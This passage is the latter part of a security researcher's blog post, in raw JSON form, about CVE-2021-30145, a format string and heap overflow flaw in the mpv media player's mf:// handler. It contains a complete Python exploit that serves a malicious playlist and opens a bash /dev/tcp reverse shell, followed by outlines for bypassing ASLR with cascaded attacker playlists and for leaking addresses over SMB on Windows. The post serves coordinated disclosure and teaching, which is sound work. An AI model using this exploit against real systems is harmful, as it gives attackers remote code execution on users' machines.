loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"450\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2021\/04\/mpv_01.gif\" alt=\"\" class=\"wp-image-2237\"\/><\/figure>\r\n\r\n\r\n\r\n<p>Since we have full control of the executed command, we can easily run more complex commands like a reverse shell. The following python script uses such a reverse shell payload and starts a corresponding handler as well as the payload serving web-server:<\/p>\r\n\r\n\r\n\r\n<code>\r\n#!\/usr\/bin\/env python3\r\n\r\nimport socket\r\nfrom pwn import *\r\nfrom threading import Thread\r\n\r\nLHOST = 'localhost'\r\nLPORT = 9001\r\n\r\nSRVHOST = 'localhost'\r\nSRVPORT = 7000\r\n\r\nOFFSET = 390 # padding to overflow heap\r\nCANARY = 0xD3ADB3EF\r\nSYSTEM_ADDR = 0x7ffff5c37410\r\nPAYLOAD = 'bash -c \"bash -i &gt;&amp; \/dev\/tcp\/'+LHOST+'\/'+str(LPORT)+' 0&gt;&amp;1\"\\x00'\r\n\r\n\r\nclass RevShellHandler(Thread):\r\n\r\n  def run(self):\r\n    while True:\r\n      io = listen(LPORT, LHOST)\r\n      io.wait_for_connection()\r\n      io.interactive()\r\n\r\n\r\nclass PayloadHandler(Thread):\r\n\r\n  def run(self):\r\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n    s.bind((SRVHOST, SRVPORT))\r\n    s.listen(5)\r\n    log.info('ready to serve payload on http:\/\/'+SRVHOST+':'+str(SRVPORT)+'\/x.m3u')\r\n    while True:\r\n      c, a = s.accept()\r\n      self.handle_client(c, a)\r\n\r\n  def handle_client(self, c, a):\r\n    log.warn('serving payload to '+a[0]+':'+str(a[1]))\r\n    playlist  = b'mf:\/\/'\r\n    playlist += b'%'+str(OFFSET).encode()+b'c%c%c'\r\n    playlist += b'\\x58\\x1e%4$c\\xe4\\xff\\x7f' # overwriting child addr with fake child\r\n\r\n    fake_chunk  = p64(0) # size\r\n    fake_chunk += p64(0) # prev\r\n    fake_chunk += p64(0) # next\r\n    fake_chunk += p64(0) # child\r\n    fake_chunk += p64(0) # parent\r\n    fake_chunk += p64(SYSTEM_ADDR) # destructor\r\n    fake_chunk += p64(CANARY) # canary\r\n    fake_chunk += p64(0) # leak_next\r\n    fake_chunk += p64(0) # leak_prev\r\n    fake_chunk += p64(0) # name\r\n\r\n    d  = b'HTTP\/1.1 200 OK\\r\\n'\r\n    d += b'Content-type: audio\/x-mpegurl\\r\\n'\r\n    d += b'Content-Length: '+str(len(playlist)).encode()+b'\\r\\n'\r\n    d += b'PL: '\r\n    d += fake_chunk\r\n    d += PAYLOAD.encode()\r\n    d += b'\\r\\n'\r\n    d += b'\\r\\n'\r\n    d += playlist\r\n\r\n    c.send(d)\r\n    c.close()\r\n\r\nreh = RevShellHandler()\r\nreh.start()\r\nplh = PayloadHandler()\r\nplh.start()\r\n<\/code>\r\n\r\n\r\n\r\n<p>The script in action:<\/p>\r\n\r\n\r\n\r\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"450\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2021\/04\/mpv_02.gif\" alt=\"\" class=\"wp-image-2239\"\/><\/figure>\r\n\r\n\r\n\r\n<h1 id=\"ft\">Further Thoughts<\/h1>\r\n\r\n<p>In this section we will take a look at possibilities to bypass ASLR and briefly determine how the situation is on Windows from an exploit development point of view.<\/p>\r\n\r\n<h3>ASLR bypass<\/h3>\r\n\r\n<p>After having verified that we can gain arbitrary code execution on Linux with <span class=\"hl\">ASLR<\/span> disabled, let&#8217;s think about how <span class=\"hl\">ASLR<\/span> might be bypassed.<\/p>\r\n\r\n\r\n\r\n<p>What makes this challenging is that the attack vector seems to be a one-shot: the targeted client requests the malicious playlist from us and we serve the payload in form of the <span class=\"hl\">mf:\/\/<\/span> URL. The communication ends here and there seems to be no way we could get an address leak required to bypass <span class=\"hl\">ASLR<\/span>. Though this is not totally true. The word <span class=\"hl\">playlist<\/span> implies that this file is a list. We can not only store one malicious <span class=\"hl\">mf:\/\/<\/span> URL, but for example an additional <span class=\"hl\">http:\/\/<\/span> URL like this:<\/p>\r\n\r\n\r\n\r\n<code>\r\nmf:\/\/&lt;EVIL&gt;\r\nhttp:\/\/attacker\/xyz\r\n<\/code>\r\n\r\n\r\n\r\n<p>Before the first entry in the playlist (<span class=\"hl\">mf:\/\/&lt;EVIL&gt;<\/span>) is evaluated, the whole playlist is parsed. This includes allocating chunks for all entries within the playlist. After this the entries are evaluated or fetched one after another. Using the <span class=\"hl\">mf:\/\/&lt;EVIL&gt;<\/span> entry we can leverage the heap overflow in order to overwrite the second playlist entry, which is the <span class=\"hl\">http:\/\/attacker\/xyz<\/span> URL to fetch next. If we change this URL to contain an address from the application, we retrieve this address via HTTP as soon as the client requests it. The challenge here is to groom the heap, so that the chunk allocated for the <span class=\"hl\">__sprintf_chk<\/span> destination is right before the chunk allocated for the <span class=\"hl\">http:\/\/attacker\/xyz<\/span> URL to fetch.<\/p>\r\n\r\n\r\n\r\n<p>The next question is how do we use the leaked address without the requirement of having to manually open yet another malicious playlist URL? The answer to this is straightforward: we simply use a cascade by additionally providing the URL to another playlist <span class=\"hl\">.m3u<\/span> file:<\/p>\r\n\r\n\r\n\r\n<code>\r\nmf:\/\/&lt;EVIL&gt;\r\nhttp:\/\/attacker\/xyz\r\nhttp:\/\/attacker\/stage2.m3u\r\n<\/code>\r\n\r\n\r\n\r\n<p>This way the <span class=\"hl\">stage2.m3u<\/span> playlist will be requested after the <span class=\"hl\">http:\/\/attacker\/xyz<\/span> request and its content will be evaluated just like the playlist before. This time the <span class=\"hl\">stage2.m3u<\/span> playlist file can contain our original exploit to gain code execution, but is created on the fly to contain the correct addresses based on the first HTTP request (<span class=\"hl\">http:\/\/attacker\/xyz<\/span>), which leaked the applications addresses.<\/p>\r\n\r\n\r\n\r\n<h3>Windows<\/h3>\r\n\r\n<p>mpv is available for a wide variety of operation systems, but let&#8217;s have at least a brief look at Windows.<\/p>\r\n\r\n\r\n\r\n<p>Although I didn&#8217;t dig deep into developing an exploit for Windows yet, I assume that the conditions are far more in our favor here. One reason for this is that there is no <span class=\"hl\">FORTIFY_SOURCE<\/span> by default. Thus we are able to use the <span class=\"hl\">%n<\/span> format specifier in order to write to memory. What makes it a little less comfortable is that there are no argument selectors (e.g. <span class=\"hl\">%4$c<\/span>).<\/p>\r\n\r\n\r\n\r\n<p>There is another interesting Windows specific aspect when using the <span class=\"hl\">mf:\/\/<\/span> protocol. On Linux we can reference the local file <span class=\"hl\">\/tmp\/test.jpg<\/span> by providing <span class=\"hl\">mf:\/\/\/tmp\/test.jpg<\/span>. On Windows we would use <span class=\"hl\">mf:\/\/C:\\Windows\\Temp\\test.jpg<\/span> in order to reference the file <span class=\"hl\">C:\\windows\\Temp\\test.jpg<\/span>. When dealing with file paths like this, it is sometimes possible to increase the exploitation possibilities on Windows by using <a href=\"https:\/\/en.wikipedia.org\/wiki\/Path_(computing)#Universal_Naming_Convention\" rel=\"noopener noreferrer\" target=\"_blank\">UNC paths<\/a>. This is totally true here, because we can actually use a UNC path within the <span class=\"hl\">mf:\/\/<\/span> protocol handler. Also we can provide format specifiers in the requested UNC path. This means that we can easily leak addresses via SMB:<\/p>\r\n\r\n\r\n\r\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"450\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2021\/04\/mpv_03.gif\" alt=\"\" class=\"wp-image-2242\"\/><\/figure>\r\n\r\n\r\n\r\n<p>This possibility makes it even more easy to bypass ASLR on Windows.<\/p>\r\n\r\n\r\n\r\n<h1 id=\"con\">Conclusion<\/h1>\r\n\r\n<p>The exciting aspect of memory corruption vulnerabilities is that they arise a lot of opportunities, which oftentimes can be turned into code execution by putting enough work into it.<\/p>\r\n\r\n\r\n\r\n<p>Even with mitigations like <span class=\"hl\">FORTIFY_SOURCE<\/span> the impact of a format string vulnerability is most probably severe. In this case the implicitly deduced heap overflow allows an attacker to gain arbitrary code execution on Linux. Also there are ways to bypass ASLR and probably also develop an exploit for other operating systems.<\/p>\r\n\r\n\r\n\r\n<p>Thanks again to the mpv team for the quick response, professional reaction and fast patch. It is good to know that security is taken seriously \ud83d\ude42<\/p>\r\n\r\n\r\n\r\n<b>Timeline<\/b><br>\r\n03 April 2021 &#8211; Vendor Notification<br>\r\n03 April 2021 &#8211; Vendor Acknowledgement<br>\r\n05 April 2021 &#8211; Vendor Patch<br>\r\n12 April 2021 &#8211; Public Disclosure<br><br>\r\n","protected":false},"excerpt":{"rendered":"<p>The mpv media player provides a custom protocol handler (mf:\/\/) in order to merge multiple images to a video. An undocumented feature within this protocol handler allows the usage of a format specifier in the provided URL, which is evaluated using sprintf. This results in both, a format string vulnerability as well as a heap &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/devel0pment.de\/?p=2217\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;mpv media player &#8211; mf custom protocol vulnerability (CVE-2021-30145)&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[29],"tags":[51,44,43,30,45,19],"class_list":["post-2217","post","type-post","status-publish","format-standard","hentry","category-article","tag-cve-2021-30145","tag-exploitation","tag-formatstring","tag-heap","tag-linux","tag-x64"],"_links":{"self":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/2217"}],"collection":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2217"}],"version-history":[{"count":59,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/2217\/revisions"}],"predecessor-version":[{"id":2291,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/2217\/revisions\/2291"}],"wp:attachment":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2217"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2217"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2217"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}